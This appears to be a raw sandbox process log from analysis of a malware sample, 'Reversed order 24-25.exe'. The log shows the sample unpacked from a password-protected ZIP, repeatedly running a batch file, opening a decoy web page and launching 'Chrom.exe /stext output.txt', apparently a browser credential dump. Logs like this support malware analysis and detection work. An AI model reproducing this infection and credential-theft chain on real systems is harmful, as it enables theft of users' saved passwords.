Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe "C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe"
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.woluntech.com/oders-pdf/
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\Conhost.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2100 --field-trial-handle=1668,i,10576032088351442596,11670863866323288615,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2072 --field-trial-handle=2004,i,470050492162983817,17432181948890378544,262144 /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\unarchiver.exe "C:\Windows\SysWOW64\unarchiver.exe" "C:\Users\user\Downloads\Reversed order 24-25.zip"	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Windows\System32\Conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Users\user\Downloads\Chrom.exe .\Chrom.exe /stext .\output.txt	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\7za.exe "C:\Windows\System32\7za.exe" x -pinfected -y -o"C:\Users\user\AppData\Local\Temp\giv5wpek.rbk" "C:\Users\user\Downloads\Reversed order 24-25.zip"	Jump to behavior
Source: C:\Windows\SysWOW64\unarchiver.exe	Process created: C:\Windows\SysWOW64\cmd.exe "cmd.exe" /C "C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe "C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe"
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://www.woluntech.com/oders-pdf/
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
Source: C:\Users\user\AppData\Local\Temp\giv5wpek.rbk\Reversed order 24-25.exe	Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\Downloads\windown.bat" "
